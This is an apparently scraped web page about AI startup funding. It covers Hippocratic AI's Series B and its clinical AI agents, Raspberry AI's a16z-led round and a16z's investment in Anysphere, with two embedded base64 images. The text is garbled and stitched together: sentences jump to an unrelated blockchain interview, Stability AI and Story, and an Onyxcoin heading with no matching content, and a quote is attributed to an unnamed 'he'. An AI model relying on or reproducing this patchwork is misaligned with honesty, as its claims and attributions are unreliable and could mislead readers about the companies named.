<p><p>For instance, one of its AI agents is specialized in chronic care management, medication checks and post-discharge follow-up regarding specific conditions such as kidney failure and congestive heart failure. The healthcare-focused artificial intelligence startup Hippocratic AI Inc. said today it has closed on a $141 million Series B funding round that brings its total amount raised to more than $278 million. “This round of financing will accelerate the development and deployment of the Hippocratic generative AI-driven super staffing and continue our quest to make healthcare abundance a reality,” he promised. Raspberry AI, the generative AI platform for fashion creatives, has secured 24 million US dollars in Series A funding led by Andreessen Horowitz (a16z). Today, we’re going in-depth on blockchain innovation with Robert Roose, an entrepreneur who’s on a mission to fix today’s broken monetary system. Hippocratic AI’s early customers include Arkos Health Inc., Belong Health Inc., Cincinnati Children’s, Fraser Health Authority (Canada), GuideHealth, Honor Health, Deca Dental Management, LLC, OhioHealth, WellSpan Health and other well-known healthcare systems and hospitals.</p>
</p>
<p><p>By incorporating this wisdom into its AI agents, it’s making them safer and improving patient outcomes, it said. Crucially, any agent created using its platform will undergo extensive safety training by both the creator and Hippocratic AI’s own staff. Every clinician will have access to a dashboard to track their AI agent’s performance and use and receive feedback for further development.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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" width="300px" alt="a16z generative ai"/></p>
<p><p>All these indicate the commitment a16z has in shaping the future of technology and healthcare through strategic investments. Both platforms use Stability AI’s models to bring creators’ visions to life and Story’s blockchain technology to enable provenance and attribution throughout the creative process. These real-world applications highlight how creators can safeguard their intellectual property while thriving in a shared creative economy. Raspberry AI offers brands and manufacturing creative teams technology solutions, which can help accelerate each stage of the fashion product development cycle to increase speed to market and profitability while reducing costs. Andreessen Horowitz, or a16z, is one of the leading AI investors and targets only innovative startups. They participated in the round that funded Anysphere on January 14, 2025, with a total sum of $105 million for an AI coding tool known as Cursor, whose valuation has reached $2.5 billion.</p>
</p>
<p><h2>Onyxcoin (XCN) Market Trends and Ozak AI’s Contribution to AI-Driven Blockchain</h2>
</p>
<p><p>In order to ensure its AI agents can do their jobs safely, Hippocratic AI says it only works with licensed clinicians to develop them, taking steps to verify their qualifications and experience first. Once clinicians have built their agents, they’ll be submitted to the startup for an initial round of testing. Through the Hippocratic AI Agent App Store, healthcare organizations and hospitals will be able to access a range of specialized AI agents for different aspects of medical care.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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